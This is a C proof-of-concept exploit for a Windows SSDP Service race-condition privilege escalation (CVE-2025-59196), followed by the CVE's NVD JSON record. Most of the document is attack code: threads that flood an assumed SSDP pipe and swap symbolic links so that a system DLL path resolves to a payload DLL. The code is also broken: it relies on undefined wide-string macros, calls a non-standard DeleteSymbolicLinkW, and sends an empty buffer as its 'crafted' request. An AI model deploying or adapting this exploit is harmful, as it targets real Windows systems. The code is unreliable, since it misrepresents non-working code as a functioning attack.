CVE-2025-59196

// CVE-2025-59196 - Windows SSDP Service Race Condition LPE PoC (Concept) // WARNING: This is a conceptual PoC for educational purposes only. // Race condition exploitation in Windows SSDP Service for local privilege escalation. #include <windows.h> #include <stdio.h> #include <tchar.h> #define SSDP_SERVICE_PORT 1900 #define TARGET_DEVICE_TYPE "upnp:rootdevice" #define RACE_ITERATIONS 1000 // Symbolic link target for hijacking SSDP service resources #define HIJACK_TARGET "C:\\Windows\\System32\\svchost.exe" #define HIJACK_PAYLOAD "C:\\Temp\\payload.dll" // Thread function to repeatedly trigger SSDP device registration DWORD WINAPI SSDPRaceThread(LPVOID lpParam) { for (int i = 0; i < RACE_ITERATIONS; i++) { // Trigger SSDP service to process device registration // This causes SSDP service to check and modify shared resources HANDLE hDevice = CreateFile( "\\\\.\\pipe\\SSDPService", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice != INVALID_HANDLE_VALUE) { // Send crafted SSDP M-SEARCH or NOTIFY request via named pipe char buffer[4096] = {0}; DWORD bytesWritten; WriteFile(hDevice, buffer, sizeof(buffer), &bytesWritten, NULL); CloseHandle(hDevice); } Sleep(1); } return 0; } // Thread function to perform TOCTOU attack by swapping resources DWORD WINAPI TOCTOUThread(LPVOID lpParam) { for (int i = 0; i < RACE_ITERATIONS; i++) { // Step 1: Create symbolic link pointing to legitimate file // (SSDP service checks this resource) CreateSymbolicLinkW( L"C:\\Windows\\Temp\\ssdp_helper.dll", HIJACK_TARGET_W, 0 ); // Step 2: Immediately swap to malicious payload // (SSDP service uses this resource after the check) DeleteSymbolicLinkW(L"C:\\Windows\\Temp\\ssdp_helper.dll"); CreateSymbolicLinkW( L"C:\\Windows\\Temp\\ssdp_helper.dll", HIJACK_PAYLOAD_W, 0 ); Sleep(1); } return 0; } int main() { printf("[+] CVE-2025-59196 SSDP Race Condition LPE PoC\n"); printf("[+] Starting race condition exploit...\n"); // Launch multiple threads to increase race condition probability HANDLE hThreads[2]; hThreads[0] = CreateThread(NULL, 0, SSDPRaceThread, NULL, 0, NULL); hThreads[1] = CreateThread(NULL, 0, TOCTOUThread, NULL, 0, NULL); // Wait for exploit to complete WaitForMultipleObjects(2, hThreads, TRUE, INFINITE); CloseHandle(hThreads[0]); CloseHandle(hThreads[1]); printf("[+] Exploit completed. Check for privilege escalation.\n"); return 0; }

{"cve": {"id": "CVE-2025-59196", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:58.747", "lastModified": "2025-10-30T16:42:05.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows SSDP Service allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": 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